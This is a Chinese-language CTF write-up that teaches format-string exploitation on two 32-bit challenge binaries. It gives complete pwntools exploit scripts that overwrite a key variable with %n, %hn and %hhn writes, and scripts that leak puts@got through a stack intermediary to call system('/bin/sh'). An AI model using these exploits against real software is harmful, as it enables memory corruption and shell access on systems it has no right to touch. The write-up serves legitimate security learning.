直接看wiki:https://ctf-wiki.org/pwn/linux/user-mode/fmtstr/fmtstr-intro/
重点说一下:”%n”写数据时,是写到参数指向的位置,而不是写到参数那个位置。
题目来源:攻防世界的实时数据检测
一个32位的文件,canary、NX、PIE保护机制均关闭。
程序很简单,输入一串字符(个数限制为512),然后再输出。最后根据key变量进行条件语句执行。
在imagemagic函数中用printf(format)
进行输出,存在格式化字符串漏洞。因为key的地址在bss段:0x0804A048,所以利用格式化字符串漏洞进行覆盖。
检测一下偏移:
这里前面的AAAA是printf的参数,后面AAAA用%p打印出来的为locker函数里面的局部变量s。
payload = p32(key_addr) + b’%035795742d’ + b’%12$n’
from pwn import *
context(os='linux', arch='i386', log_level='debug')
io = process("./datajk")
#io = remote("111.200.241.244",65079)
key_addr = 0x0804A048
payload = p32(key_addr) + b'%35795742d' + b'%12$n'
io.sendline(payload)
io.interactive()
远程的话大概要几分钟输出,本地的话快一点。直接对四个字节一次性写入的exp很简单,但很粗鲁,随后讲讲怎么用h和hh标志进行改进。
上面因为%n是写入4字节数据,所以就直接写整个数,导致要输出大量数据才可以满足。但带格式化字符串中有那么两个标识:
要使key=35795746(0x0222 3322),因为程序为小端序,高字节存储在低地址。所以就是要使key_addr处为0x3322,key_addr+2处为0x0222。
from pwn import *
context(os='linux', arch='i386', log_level='debug')
#io = process("./datajk")
io = gdb.debug("./datajk")
key_addr = 0x0804A048
#35795746 == 0x02223322
#num1 = 0x222 0x222 == 546
#num2 = 0x3322 0x3322 == 13090; 12544=13090-546
payload = p32(key_addr) + p32(key_addr + 2)
payload += b'%0538d' + b'%13$hn'
payload += b'%012544d' + b'%12$hn'
io.sendline(payload)
io.interactive()
注:用%n写入数据的顺序要从写入数值小的开始。
前面已经输出了两个地址,占了8字节,所以0x222要减去8为538。后面的12544同理,要减去已输出的量。
将0x02223322拆分成\x02 \x22 \x33 \x22,\x02写到最高地址,最右边的\x22写到最低地址。
这时要灵活的改变‘覆盖地址’的参数位了,可以先看一下wiki中的这个页面的‘覆盖小数字’:
https://ctf-wiki.org/pwn/linux/user-mode/fmtstr/fmtstr-exploit/#_14
exp里面的a主要用于调参数位(按4调整)。由于这里调动比较灵活,而且代码不唯一。但大概思想不变,所以就不做多解释了。
from pwn import *
context(os='linux', arch='i386', log_level='debug')
io = process("./datajk")
key_addr = 0x0804A048
#0x02 22 33 22 (high -> low)
#input 0x02
payload = b'aa%15$hhnaaa' + p32(key_addr + 3)
#input 0x22(two)
payload += p32(key_addr + 2) + p32(key_addr) + b'%017d%16$hhn' + b'%17$hhna'
#input 0x33
payload += p32(key_addr + 1) + b'%012d%23$hhn'
io.sendline(payload)
io.interactive()
通过格式化字符串漏洞往目标地址写入数据的关键点是“目标地址”的地址存在格式化字符串的上方。所以利用成否的关键是能否部署“目标地址”的地址在栈上!
当存储格式化字符串的变量是位于栈上时,直接往格式化字符串中写入地址即可部署。但%n写数据时,是突破了栈帧的界限,将上面的(或同一个)栈帧的局部变量作为参数。
但存储格式化字符串的变量也有可能位于.bss段或者堆空间上,这时我们可以找个中介。
我们通过指向中介的指针往中介(fakespace)那写入目标地址,这样目标地址就部署好了。后续就可以往目标地址写数据了。
程序:login
链接:https://pan.baidu.com/s/1KphajK-T7atgV4vc0iKLRA
提取码:lele
输入name后,这个函数进行密码验证。当密码为“wllmmllw”时,验证成功,退出循环。否则一直循环,循环里面存有格式化字符串漏洞。值得注意的是,变量passwd是位于.bss段的。
格式化字符串位于.bss段,仅靠静态调试无法获取更多的信息。因此需要动调,断在printf(passwd)附近,查看栈空间。
断在0x080485AF,查看栈空间:
计划使用ROP控制执行流去执行system("/bin.sh")
,那么我们需要泄露libc版本。用于存在格式化字符串漏洞,所以我们只要将puts@got的地址写在format string的上方附近,使用%s打印即可。栈地址可通过%p轻易泄露,那怎么将puts@写到栈上了?
0xffffd1b4 —▸ 0xffffd264 —▸ 0xffffd403 ◂— '/home/tolele/studyspace/week36/login'
0xffffd1b8 —▸ 0xffffd26c —▸ 0xffffd428 ◂— 'SHELL=/bin/bash'
我们可以选一个中介位置(fakespace),通过栈上的这两个数据。往0xffffd264写入fakespace,0xffffd26c写入fakespace+2。栈上有了这两个地址后,就可以往fakespace处写数据了。
from pwn import *
context(os='linux', arch='i386', log_level='debug')
io = process("./login")
elf = ELF("./login")
def debug():
gdb.attach(io)
pause()
io.sendlineafter("Please input your name: ", "tolele")
io.sendlineafter("Please input your password: ", "%6$p")
io.recvline()
ebp_addr = int(io.recvline()[-11:-1],16) - 0x10
print("@@@ ebp_addr = " + str(hex(ebp_addr)))
# leak libc version
def fmt_func(addr, data):
data_high = (data&0xffff)
data_low = (data&0xffff0000)>>16
high_addr = (addr&0xffff) + 2
low_addr = high_addr - 2
#io.sendlineafter("Please input your password: ", '%'+str(low_addr)+'c'+'%21$hn')
payload1 = '%'+str(low_addr)+'d'+'%21$hn'
io.sendline(payload1)
io.recvuntil("Try again!")
#io.sendlineafter("Please input your password: ", '%'+str(high_addr)+'c'+'%22$hn')
payload2 = '%'+str(high_addr)+'d'+'%22$hn'
io.sendline(payload2)
io.recvuntil("Try again!")
#io.sendlineafter("Please input your password: ", "%"+str(data_high)+"c"+"%65$hn")
payload3 = "%"+str(data_high)+"d"+"%65$hn"
io.sendline(payload3)
io.recvuntil("Try again!")
#io.sendlineafter("Please input your password: ", "%"+str(data_low)+"c"+"%67$hn")
payload4 = "%"+str(data_low)+"d"+"%67$hn"
io.sendline(payload4)
io.recvuntil("Try again!")
puts_got = elf.got['puts']
fakeaddr = ebp_addr + 0x10
fmt_func(fakeaddr, elf.got['puts'])
io.sendline("%10$s")
puts_addr = u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
print("@@@ puts_addr = "+str(hex(puts_addr)))
libc = ELF("./libc.so.6")
sys_libc = libc.sym['system']
puts_libc = libc.sym['puts']
binsh_libc = libc.search(b'/bin/sh').__next__()
sys_addr = puts_addr - puts_libc + sys_libc
binsh_addr = puts_addr - puts_libc + binsh_libc
fmt_func(ebp_addr + 0x4, sys_addr)
fmt_func(ebp_addr + 0xc, binsh_addr)
# debug()
io.sendline("wllmmllw")
io.interactive()
fmt_func里面使用的sendlineafter写入时,发生了一些报错,改成随后的两个语句后就可以了,暂时找不到原因,先留着注释。
题目时没有libc的,但是泄露本机的libc后,查询不到相应的版本,可能是因为版本比较新的原因,所以我就直接找本机的libc文件进行代替了。
↶ 返回首页